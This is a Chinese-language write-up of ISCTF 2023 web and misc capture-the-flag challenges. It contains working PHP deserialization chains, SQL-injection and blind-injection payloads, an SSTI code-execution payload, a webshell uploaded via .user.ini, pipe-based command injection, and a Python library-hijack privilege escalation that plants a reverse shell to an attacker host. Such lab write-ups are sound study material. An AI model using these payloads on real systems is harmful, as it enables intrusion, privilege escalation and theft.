web
圣杯战争!!!
题目:
PHP |
POP链:summon->artifact->prepare->saber
EXP:
PHP |
?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;} |
where_is_the_flag
当前目录下一个
根目录下一个
环境变量里一个
绕进你的心里
md5和第一个preg都用数组绕过 然后第二个preg和strpos组合的话用正则回溯绕过 |
payload:
Python |
easy_website
同款题:[SWPUCTF 2022 新生赛]ez_sql
URL:http://43.249.195.138:20597/check.php
过滤or select 用双写绕过
空格用/**/绕过
查当前库
查当前库下的表
列出全部列的内容,最后发现是password里有flag
payload:
POST: |
Wafr
payload: POST: code=system('ca\t /f*')%0a |
webinclude
打开就要参数
dirsearch扫下备份文件
下载index.bak查看源码
定义了两个函数,并且利用这两个函数对原本的参数名进行了加密处理
最后加密结果为dxdydxdudxdtdxeadxekdxea
写个逆向脚本再反求parameter即可
JavaScript |
得到参数名:mihoyo
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php |
伪协议直接读,解码base64即可
ez_ini
上传.user.ini文件
TOML |
UA头添加木马:
PHP |
POST: shell=system('tac /flag'); |
fuzz!
flag在/flaggggggg.txt中,要bypass
fuzz脚本
PHP |
排除数字和字母后只剩以下符号可用 |
"|"没ban,可以放在开头结束前面的curl,然后拼接我们自己的系统命令
flag关键字过滤可以用"[]"正则匹配绕过
paylaod: ?file=|tac /fl[a-z]ggggggg.txt |
1z_Ssql
先摸索了一下,发现union和=号过滤
过滤等于号,改用>号即可
union过滤就用不了联合查询注入了,考虑布尔盲注
admin' and length(database()) > 1#爆破当前数据库长度 |
爆到6报错,说明当前数据库长度为6
继续爆库名
从第一位开始,从a字母开始
admin' and substr(database(),1,1) > 'b' #第一位为b admin' and substr(database(),2,1) > 't' #第二位为t |
后面爆出当前库名字就是出题人名字:bthcls
附件拿到两个字典,应该是表和列的,使用bp来爆破
admin' and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>'a' # |
根据返回长度找到对应表 列
得到bthcls.users.password有值
爆数据,字典为32-127纯数字(可打印字符的ascii十进制值)
admin'and ascii(substr((select group_concat(password)from bthcls.users limit 0,1),1,1))>§32§ # |
得到第一位的asciii码十进制为119
后续相同操作一直爆,最后爆出完整密码:119 101 49 99 111 109 101 55 111 49 115 99 116 102
对应字符:we1come7o1sctf
账号:admin 密码:we1come7o1sctf |
恐怖G7人
无过滤ssti,直接注入,flag在环境变量里
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}} |
MISC
签到题
附件拿到PS拼接
扫码回复题目要求信息即可得到flag
杰伦可是流量明星
拿到mp3文件,binwalk出一个压缩包
wireshark打开
在tcp.stream eq 2中找到flag
你说爱我?尊嘟假嘟
你说爱我替换为Ook.
尊嘟替换为Ook!
假嘟替换为Ook?
https://www.splitbrain.org/services/ook
解得:
ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z
再base64解密
easy_zip
6位数字爆破密码即可
蓝鲨的福利
010打开添加89504E47后保存为png文件打开即可
EZcrc
附件拿到zip文件
https://github.com/AabyssZG/CRC32-Tools
Python xxx.py -3 文件名(zip放同目录下)
工具提取下crc值
排下顺序
Python |
改为标准格式
Python |
爆破脚本 blog.csdn.net
Python |
手工分离一下
字母表:https://www.xuezimu.com.cn/info/26zimu.php
对照翻译后得到
U1ZORFZFWjdNV1EzTnpjMVpXUXRZV1JoTUMwMFl6WTNMV0l4T0RVdE1HSXpZelF4WXpsa05tUXlmUT09
两段base64解密得到flag
镜流
bandizip爆破压缩包密码
查看hint:
想起了GDOUCTF的题目了
2023 广东海洋大学 GDOUCTF Writeup By AheadSec_末 初的博客-CSDN博客
借用师傅的脚本,改12为10即可
Python |
提取出一个新的png图片
zsteg查看发现还藏了一张图在lsb最低位处
zsteg -e b1,rgb,lsb,xy ok.png -> out.png 提取出来得到flag
ezUSB
wireshark分析流量特征,发现有蓝牙和usb流量
tshark- T json -r 题目.pcapng >output.json
提取数据以json格式
usb流量:
strings output.json | grep "usbhid.data">1.txt(提取usb流量)
去掉字段名和开头的01字节,并取随后的8byte保存
Python |
得到后半段flag
收集删除的字符可以发现key:soezusb
蓝牙流量:
strings output.json | grep "btatt.value">2.txt
修改下格式后保存,依旧使用上面的脚本
先进行flag连接:
AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!}
key:soezusb
维吉尼亚密码
ISCTF{So_ez_USB_AND_VIGENERE!!!}
小蓝鲨的秘密
伪加密
改两个00即可
png图片拉下宽高
得到key:15CTF2023
解密AES即可
在线AES加密 | AES解密 - 在线工具
Ez_misc
拿到附件
ppt最后一张图备注处拿到密码:M13c_!ps2s23
解压flag.zip后发现jpg文件打不开
010打开后发现文件头缺失,补充即可
打开得到二维码,扫码得到flag
spalshes
预期解:
解密文本拿到点坐标
Python |
拿到密码后解压得到二维码,扫码获得flag
非预期解:
直接爆破6位纯数字
出题人年轻了
张学森,下雪了
附件拿到zip和字典
字典爆破出密码:blueSHARK666
结合题目推测flag.txt内有snow隐写
hint.txt先进行base64 17次解密后再进行字频统计得到密码:ISCTFZ023
snow解密即可
MCSOG-猫猫
在群里发送指定消息
复制信息到vim中发现有零宽隐写
https://www.mzy0.com/ctftools/zerowidth1/
勾选200C 202C 200E即可
stream
发现是盲注流量,Tshark提取一下
tshark -r xxx.pcapng -Y "http.request" -T fields -e http.request.full_uri > data.txt
删除一些其他数据并url解码后就得到完整的盲注日志了
BUU 流量分析 sqltest - 云千 - 博客园
Python |
PNG的基本食用
图1 修复宽高
得到第一段flag
ISCTF{png-is-
图2 lsb最低位
so-ez-
图3 binwalk分离出压缩包
解压得到第三段
for-you}
ISCTF{png-is-so-ez-for-you}
sudopy
ssh -p 21269 ctf@43.249.195.138
password:ctf
连接题目后,先pwd查看当前位置
ls -al 发现flag和一个web.py文件
但是flag得root才能访问
sudo -l 显示出自己(执行 sudo 的使用者)的权限
发现/usr/bin/python3 /home/ctf/web.py 这样是可以sudo运行不需要密码的
看下web.py的内容
导入了一个叫webbrowser的库
找下它的位置
Linux权限提升:Python库劫持 - FreeBuf网络安全行业门户
根据文章提到的操作,在webbrowser.py里放入反弹shell
vim /usr/lib/python3.10/webbrowser.py
反弹shell:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); |
保存后退出,同时再开个终端连vps,连上后nc -lvnp 端口 开启监听
然后在靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py
成功连接,并且是root权限
接着cd /home/ctf 后 cat flag即可